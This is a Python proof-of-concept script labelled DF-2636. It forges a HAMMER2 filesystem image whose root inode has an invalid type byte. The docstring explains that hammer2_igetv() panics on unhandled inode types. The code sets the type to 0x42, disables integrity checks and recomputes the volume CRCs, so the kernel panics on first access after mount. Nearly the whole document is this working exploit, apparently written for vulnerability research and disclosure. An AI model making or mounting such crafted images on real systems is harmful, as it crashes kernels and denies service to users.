DF-2636 / forge_2636.py
#!/usr/bin/env python3 """ DF-2636 PoC image forger. hammer2_igetv() (hammer2_inode.c:744-795) switches on ip->meta.type and panics on any type not in {DIRECTORY, REGFILE, SOFTLINK, CDEV, BDEV, FIFO, SOCKET}: default: panic("hammer2: unhandled objtype %d", ip->meta.type); meta.type is taken verbatim from the on-media inode (pfsalloc: iroot->meta = ripdata->meta, vfsops.c:456). Valid-but-unhandled on-media values include 0 (UNKNOWN), 3, 8, 10 (WHITEOUT), and 11..255. This forger sets meta.type (inode block +0x50) of the mounted PFS root inode ('testvol') to 0x42, ancestors CHECK_NONE, volhdr CRCs recomputed. Expected: mount succeeds; the first VFS_ROOT on the mount (e.g. `ls`) panics: "hammer2: unhandled objtype 66". """ import struct, sys sys.path.insert(0, '/root/poc/df2636') from h2common import * BAD_TYPE = 0x42 def main(): base, out = sys.argv[1:3] img = bytearray(open(base, 'rb').read()) vols, sbr = find_sroot(img) sblk, kids = sroot_children(img, sbr) target = None for br in kids: if br['type'] == T_INODE and (br['data_off'] & RADIX_MASK): if inode_name(img, br['data_off'] & ~RADIX_MASK) == b'testvol': target = br assert target, "testvol PFS inode not found under sroot" tblk = target['data_off'] & ~RADIX_MASK old_type = img[tblk + 0x50] old_inum = struct.unpack_from('<Q', img, tblk + 0x58)[0] print("[walk] testvol inode @ %#x type=%d inum=%#x" % (tblk, old_type, old_inum)) assert old_type == 1, "expected DIRECTORY" struct.pack_into('<B', img, tblk + 0x50, BAD_TYPE) print("[+] meta.type %d -> %#x" % (old_type, BAD_TYPE)) struct.pack_into('<B', img, target['off'] + 0x01, 0x00) # CHECK_NONE struct.pack_into('<Q', img, target['off'] + 0x10, 0) # mirror_tid=0 for v in vols: struct.pack_into('<B', img, v + 0x201, 0x00) # sroot CHECK_NONE recompute_volhdr_crcs(img) open(out, 'wb').write(img) print("[+] wrote %s" % out) if __name__ == '__main__': main() |